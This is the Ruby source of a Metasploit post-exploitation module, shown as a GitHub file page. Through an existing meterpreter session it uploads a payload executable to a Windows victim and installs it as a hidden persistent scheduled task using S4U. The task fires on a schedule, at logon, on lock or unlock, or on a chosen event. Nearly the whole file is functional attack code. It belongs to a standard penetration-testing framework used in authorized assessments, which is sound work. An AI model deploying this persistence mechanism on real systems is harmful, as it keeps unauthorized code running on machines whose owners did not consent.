Permalink
Cannot retrieve contributors at this time
Fetching contributors…
| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| require 'msf/core/exploit/exe' | |
| class MetasploitModule < Msf::Exploit::Local | |
| Rank = ExcellentRanking | |
| include Msf::Post::File | |
| include Msf::Post::Windows::Priv | |
| include Exploit::EXE | |
| def initialize(info={}) | |
| super( update_info( info, | |
| 'Name' => 'Windows Manage User Level Persistent Payload Installer', | |
| 'Description' => %q{ | |
| Creates a scheduled task that will run using service-for-user (S4U). | |
| This allows the scheduled task to run even as an unprivileged user | |
| that is not logged into the device. This will result in lower security | |
| context, allowing access to local resources only. The module | |
| requires 'Logon as a batch job' permissions (SeBatchLogonRight). | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => | |
| [ | |
| 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', | |
| 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' | |
| ], | |
| 'Platform' => 'win', | |
| 'SessionTypes' => [ 'meterpreter' ], | |
| 'Targets' => [ [ 'Windows', {} ] ], | |
| 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post | |
| 'DefaultTarget' => 0, | |
| 'References' => [ | |
| [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ], | |
| [ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ] | |
| ] | |
| )) | |
| register_options( | |
| [ | |
| OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), | |
| OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]), | |
| OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['event', 'lock', 'logon', 'schedule', 'unlock']]), | |
| OptString.new('REXENAME', [false, 'Name of exe on remote system']), | |
| OptString.new('RTASKNAME', [false, 'Name of task on remote system']), | |
| OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%']) | |
| ]) | |
| register_advanced_options( | |
| [ | |
| OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']), | |
| OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']), | |
| OptString.new('XPATH', [false, 'XPath query']) | |
| ]) | |
| end | |
| def exploit | |
| if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) | |
| fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above") | |
| end | |
| if datastore['TRIGGER'] == "event" | |
| if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? | |
| print_status("The properties of any event in the event viewer will contain this information") | |
| fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") | |
| end | |
| end | |
| # Generate payload | |
| payload = generate_payload_exe | |
| # Generate remote executable name | |
| rexename = generate_rexename | |
| # Generate path names | |
| xml_path,rexe_path = generate_path(rexename) | |
| # Upload REXE to victim fs | |
| upload_rexe(rexe_path, payload) | |
| # Create basic XML outline | |
| xml = create_xml(rexe_path) | |
| # Fix XML based on trigger | |
| xml = add_xml_triggers(xml) | |
| # Write XML to victim fs, if fail clean up | |
| write_xml(xml, xml_path, rexe_path) | |
| # Name task with Opt or give random name | |
| schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) | |
| # Create task with modified XML | |
| create_task(xml_path, schname, rexe_path) | |
| end | |
| ############################################################## | |
| # Generate name for payload | |
| # Returns name | |
| def generate_rexename | |
| rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" | |
| if not rexename =~ /\.exe$/ | |
| print_warning("#{datastore['REXENAME']} isn't an exe") | |
| end | |
| return rexename | |
| end | |
| ############################################################## | |
| # Generate Path for payload upload | |
| # Returns path for XML and payload | |
| def generate_path(rexename) | |
| # Generate a path to write payload and XML | |
| path = datastore['PATH'] || session.sys.config.getenv('TEMP') | |
| xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" | |
| rexe_path = "#{path}\\#{rexename}" | |
| return xml_path,rexe_path | |
| end | |
| ############################################################## | |
| # Upload the executable payload | |
| # Returns boolean for success | |
| def upload_rexe(path, payload) | |
| vprint_status("Uploading #{path}") | |
| if file? path | |
| fail_with(Failure::Unknown, "File #{path} already exists... Exiting") | |
| end | |
| begin | |
| write_file(path, payload) | |
| rescue => e | |
| fail_with(Failure::Unknown, "Could not upload to #{path}") | |
| end | |
| print_good("Successfully Uploaded remote executable to #{path}") | |
| end | |
| ############################################################## | |
| # Creates a scheduled task, exports as XML, deletes task | |
| # Returns normal XML for generic task | |
| def create_xml(rexe_path) | |
| xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml") | |
| xml_file = File.new(xml_path,"r") | |
| xml = xml_file.read | |
| xml_file.close | |
| # Get local time, not system time from victim machine | |
| begin | |
| vt = client.railgun.kernel32.GetLocalTime(32) | |
| ut = vt['lpSystemTime'].unpack("v*") | |
| t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) | |
| rescue | |
| print_warning("Could not read system time from victim... Using your local time to determine creation date") | |
| t = ::Time.now | |
| end | |
| date = t.strftime("%Y-%m-%d") | |
| time = t.strftime("%H:%M:%S") | |
| # Put in correct times | |
| xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") | |
| domain, user = client.sys.config.getuid.split('\\') | |
| # Put in user information | |
| xml = xml.sub(/DOMAINHERE/, user) | |
| xml = xml.sub(/USERHERE/, "#{domain}\\#{user}") | |
| xml = xml.sub(/COMMANDHERE/, rexe_path) | |
| return xml | |
| end | |
| ############################################################## | |
| # Takes the XML, alters it based on trigger specified. Will also | |
| # add in expiration tag if used. | |
| # Returns the modified XML | |
| def add_xml_triggers(xml) | |
| # Insert trigger | |
| case datastore['TRIGGER'] | |
| when 'logon' | |
| # Trigger based on winlogon event, checks windows license key after logon | |
| print_status("This trigger triggers on event 4101 which validates the Windows license") | |
| line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" | |
| xml = create_trigger_event_tags("Application", line, xml) | |
| when 'lock' | |
| xml = create_trigger_tags("SessionLock", xml) | |
| when 'unlock' | |
| xml = create_trigger_tags("SessionUnlock", xml) | |
| when 'event' | |
| line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" | |
| if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? | |
| # Append xpath queries | |
| line << " and #{datastore['XPATH']}" | |
| # Print XPath query, useful to user to spot issues with uncommented single quotes | |
| print_status("XPath query: #{line}") | |
| end | |
| xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) | |
| when 'schedule' | |
| # Change interval tag, insert into XML | |
| if datastore['FREQUENCY'] != 0 | |
| minutes = datastore['FREQUENCY'] | |
| else | |
| print_status("Defaulting frequency to every hour") | |
| minutes = 60 | |
| end | |
| xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<") | |
| # Insert expire tag if not 0 | |
| unless datastore['EXPIRE_TIME'] == 0 | |
| # Generate expire tag | |
| end_boundary = create_expire_tag | |
| # Inject expire tag | |
| insert = xml.index("</StartBoundary>") | |
| xml.insert(insert + 16, "\n #{end_boundary}") | |
| end | |
| end | |
| return xml | |
| end | |
| ############################################################## | |
| # Creates end boundary tag which expires the trigger | |
| # Returns XML for expire | |
| def create_expire_tag() | |
| # Get local time, not system time from victim machine | |
| begin | |
| vt = client.railgun.kernel32.GetLocalTime(32) | |
| ut = vt['lpSystemTime'].unpack("v*") | |
| t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) | |
| rescue | |
| print_error("Could not read system time from victim... Using your local time to determine expire date") | |
| t = ::Time.now | |
| end | |
| # Create time object to add expire time to and create tag | |
| t = t + (datastore['EXPIRE_TIME'] * 60) | |
| date = t.strftime("%Y-%m-%d") | |
| time = t.strftime("%H:%M:%S") | |
| end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>" | |
| return end_boundary | |
| end | |
| ############################################################## | |
| # Creates trigger XML for session state triggers and replaces | |
| # the time trigger. | |
| # Returns altered XML | |
| def create_trigger_tags(trig, xml) | |
| domain, user = client.sys.config.getuid.split('\\') | |
| # Create session state trigger, weird spacing used to maintain | |
| # natural Winadows spacing for XML export | |
| temp_xml = "<SessionStateChangeTrigger>\n" | |
| temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 | |
| temp_xml << " <Enabled>true</Enabled>\n" | |
| temp_xml << " <StateChange>#{trig}</StateChange>\n" | |
| temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n" | |
| temp_xml << " </SessionStateChangeTrigger>" | |
| xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml) | |
| return xml | |
| end | |
| ############################################################## | |
| # Creates trigger XML for event based triggers and replaces | |
| # the time trigger. | |
| # Returns altered XML | |
| def create_trigger_event_tags(log, line, xml) | |
| # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind | |
| # used to maintain natural Windows spacing for XML export | |
| temp_xml = "<EventTrigger>\n" | |
| temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 | |
| temp_xml << " <Enabled>true</Enabled>\n" | |
| temp_xml << " <Subscription><QueryList><Query Id=\"0\" " | |
| temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" | |
| temp_xml << line | |
| temp_xml << "</Select></Query></QueryList>" | |
| temp_xml << "</Subscription>\n" | |
| temp_xml << " </EventTrigger>" | |
| xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml) | |
| return xml | |
| end | |
| ############################################################## | |
| # Takes the XML and a path and writes file to filesystem | |
| # Returns boolean for success | |
| def write_xml(xml, path, rexe_path) | |
| if file? path | |
| delete_file(rexe_path) | |
| fail_with(Failure::Unknown, "File #{path} already exists... Exiting") | |
| end | |
| begin | |
| write_file(path, xml) | |
| rescue | |
| delete_file(rexe_path) | |
| fail_with(Failure::Unknown, "Issues writing XML to #{path}") | |
| end | |
| print_good("Successfully wrote XML file to #{path}") | |
| end | |
| ############################################################## | |
| # Takes path and delete file | |
| # Returns boolean for success | |
| def delete_file(path) | |
| begin | |
| file_rm(path) | |
| rescue | |
| print_warning("Could not delete file #{path}, delete manually") | |
| end | |
| end | |
| ############################################################## | |
| # Takes path and name for task and creates final task | |
| # Returns boolean for success | |
| def create_task(path, schname, rexe_path) | |
| # create task using XML file on victim fs | |
| create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") | |
| if create_task_response =~ /has successfully been created/ | |
| print_good("Persistence task #{schname} created successfully") | |
| # Create to delete commands for exe and task | |
| del_task = "schtasks /delete /tn \"#{schname}\" /f" | |
| print_status("#{"To delete task:".ljust(20)} #{del_task}") | |
| print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") | |
| del_task << "\ndel #{rexe_path}" | |
| # Delete XML from victim | |
| delete_file(path) | |
| # Save info to notes DB | |
| report_note(:host => session.session_host, | |
| :type => "host.s4u_persistance.cleanup", | |
| :data => { | |
| :session_num => session.sid, | |
| :stype => session.type, | |
| :desc => session.info, | |
| :platform => session.platform, | |
| :via_payload => session.via_payload, | |
| :via_exploit => session.via_exploit, | |
| :created_at => Time.now.utc, | |
| :delete_commands => del_task | |
| } | |
| ) | |
| elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ | |
| # Clean up | |
| delete_file(rexe_path) | |
| delete_file(path) | |
| error = "The scheduled task name is already in use" | |
| fail_with(Failure::Unknown, error) | |
| else | |
| error = "Issues creating task using XML file schtasks" | |
| vprint_error("Error: #{create_task_response}") | |
| if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" | |
| print_warning("Security log can restricted by UAC, try a different trigger") | |
| end | |
| # Clean up | |
| delete_file(rexe_path) | |
| delete_file(path) | |
| fail_with(Failure::Unknown, error) | |
| end | |
| end | |
| end |